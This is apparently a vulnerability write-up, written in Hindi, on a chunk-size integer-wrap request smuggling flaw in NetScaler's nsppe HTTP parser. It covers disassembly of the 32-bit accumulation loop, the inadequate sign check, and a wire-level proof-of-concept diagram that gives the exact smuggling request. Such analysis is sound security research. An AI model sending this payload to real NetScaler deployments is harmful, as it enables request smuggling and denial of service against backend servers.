
NetScaler nsppe HTTP/1.1 chunk-size integer-wrap अनुरोध तस्करी दोष का तकनीकी विश्लेषण, जिसमें डिसअसेम्बली, वायर-स्तरीय PoC प्रवाह और फर्मवेयर पैच डिफ़ शामिल हैं।
nsppe HTTP/1.1 chunked-body पार्सर chunk-size फ़ील्ड को 32-बिट रजिस्टर में पढ़ता है और overflow की कभी जाँच नहीं करता। नौ या अधिक hex अंक और मान चुपचाप wrap हो जाता है: 100000005 (2^32 + 5) को 5 के chunk size के रूप में consume किया जाता है।
यह एक मज़ेदार पार्सर बग है जब तक आपको याद न हो कि NetScaler body के साथ क्या करता है: यह client की chunked framing को बिल्कुल वैसे ही backend तक forward करता है जैसे प्राप्त हुई, लेकिन यह अपने स्वयं के wrapped मान का उपयोग करके तय करता है कि request कहाँ समाप्त होती है। तो proxy मानता है कि request #1 पाँच body bytes के बाद पूरी हो गई है, जबकि एक सही backend वही bytes पढ़कर 4,294,967,301 की गणना करता है और 4 GB body के लिए बैठ जाता है जो कभी नहीं आएगी। दो मशीनें, एक byte stream, एक request कहाँ समाप्त होती है इस पर दो अलग राय।
NetScaler के "अंत" के संस्करण के बाद सब कुछ उसी client connection पर एक नई pipelined request के रूप में पुनर्वर्गीकृत किया जाता है, फिर साझा proxy-to-backend connection पर स्वतंत्र रूप से forward किया जाता है।
आपके पास जो अंततः बचता है वह backend के अपने पार्सर पर निर्भर करता है:
एक unauthenticated request। डिफ़ॉल्ट कॉन्फ़िगरेशन। HTTP vserver तक पहुँचने के अलावा कोई पूर्व-शर्त नहीं।
पार्सर का काम सरल है: 1a3f\r\n जैसी chunk-size लाइन को एक संख्या में बदलना। यह rdi में buffer और esi में उसकी लंबाई लेता है, hex मान को *rdx पर 32-बिट स्लॉट में accumulate करता है (in और out, ताकि दो packets में विभाजित size सुचारू रूप से फिर से शुरू हो सके), whitespace छोड़ता है, और trailing \r\n की आवश्यकता रखता है। यह consume किए गए bytes के साथ उत्तर देता है, "और डेटा चाहिए" के लिए 0, या malformed के लिए -1।
पूरा loop, इतना छोटा कि बग को नंगी आँख से देखा जा सके:
20af5e0: movzx eax, BYTE PTR [rbx]
20af5e3: test BYTE PTR [rax+rax*1+0x2746c80], 0x10 ; ctype: hex digit?
20af5eb: je 20af60b
20af5ed: mov ecx, r11d
20af5f0: shl ecx, 0x4 ; value <<= 4
20af5f3: movzx r11d, BYTE PTR [rax+0x2746b80] ; hexval(digit)
20af5fb: add r11d, ecx ; value = value*16 + d
20af5fe: inc rbx
20af601: dec r8d
20af604: jne 20af5e0 ; next digit
r11d एक्युमुलेटर है, और यह 32 बिट चौड़ा है। प्रत्येक अंक value <<= 4; value += digit करता है। कोई अंक काउंटर नहीं, कोई परिमाण सीमा नहीं, कोई ओवरफ़्लो जाँच नहीं, लूप में कहीं भी jo नहीं। नौवाँ अंक त्रुटि नहीं देता; यह संख्या के शीर्ष को रजिस्टर के अंत से बाहर खिसका देता है और किसी को पता नहीं चलता। 0x100000005 & 0xffffffff = 5, और पार्सर इससे पूरी तरह संतुष्ट है।
डाउनस्ट्रीम में ठीक एक sanity check है, और यह लगभग काव्यात्मक तरीके से गलत है। dechunking ड्राइवर (sub_20af6b0, कॉल साइट्स 0x20af719 / 0x20af9fb, आकार [r12+0x344] में संग्रहीत) संचित मान पर एक sign test लागू करता है। एक पल के लिए इस पर विचार करें: केवल वे रैप्स पकड़े जाते हैं जो ऋणात्मक आधे, [0x80000000, 0xffffffff] में आते हैं। एक रैप्ड आकार जिसके निम्न 32 बिट 0x80000000 से नीचे आते हैं, पूरी तरह सामान्य chunk size के रूप में पार हो जाता है। 0x100000005 का 5 में रैप होना विहित मामला है: रैप्ड, अनदेखा, और विनाशकारी।
पैकेट एक स्मगल में बदल जाता है क्योंकि NetScaler बॉडीज़ को कैसे संभालता है, इसका एक डिज़ाइन निर्णय है: यह क्लाइंट की chunked फ्रेमिंग को बैकएंड तक बाइट-दर-बाइट, अछूता अग्रेषित करता है, जबकि यह निर्धारित करने के लिए कि क्लाइंट का अनुरोध कहाँ समाप्त होता है, उस फ्रेमिंग की अपनी (रैप्ड) समझ का उपयोग करता है।
इसलिए NetScaler पाँच बॉडी बाइट्स के बाद अनुरोध #1 समाप्त करता है और शेष 37 को दूसरे, पाइपलाइन किए गए अनुरोध के रूप में कतार में डालता है। बैकएंड, अंकगणित सही ढंग से करते हुए, 100000005 को 4,294,967,301 के रूप में पढ़ता है और अनुरोध #1 पर बॉडी की प्रतीक्षा करता रहता है। उस क्षण से, दोनों बॉक्स एक ही स्ट्रीम पढ़ रहे हैं और अलग-अलग दुनियाओं में रह रहे हैं।
आप किस दुनिया में पहुँचते हैं यह बैकएंड पर निर्भर करता है।
Attacker NetScaler (<=73.30) Backend (RFC 64-bit)
| | |
| [1] one TCP segment, 122 bytes: | |
| POST /wrap HTTP/1.1 | |
| Host: poc | |
| Transfer-Encoding: chunked | |
| 100000005\r\nAAAAA\r\n0\r\n\r\n | |
| GET /SMUGGLED HTTP/1.1 | |
| Host: poc\r\n\r\n | |
|--[1]---------------------------------->| |
| | [2] parses "100000005" into a u32 |
| | wraps to 5; consumes AAAAA; |
| | sees terminating 0-chunk |
| | ==> request #1 COMPLETE |
| | trailing 37 bytes held as a |
| | pending pipelined request #2 |
| | |
| |--[3] 85 bytes, framing VERBATIM-------------->|
| | POST /wrap HTTP/1.1 |
| | Transfer-Encoding: chunked |
| | 100000005\r\nAAAAA\r\n0\r\n\r\n |
| | |
| | | [4] parses 0x100000005 (64-bit)
| | | = 4,294,967,301 bytes
| | | waiting for a body that never co
| | | [WEDGED: no response, ever]
| | |
| | GET /SMUGGLED waits in NetScaler's |
| | pipeline queue forever: response #1 |
| | never arrives |
| | |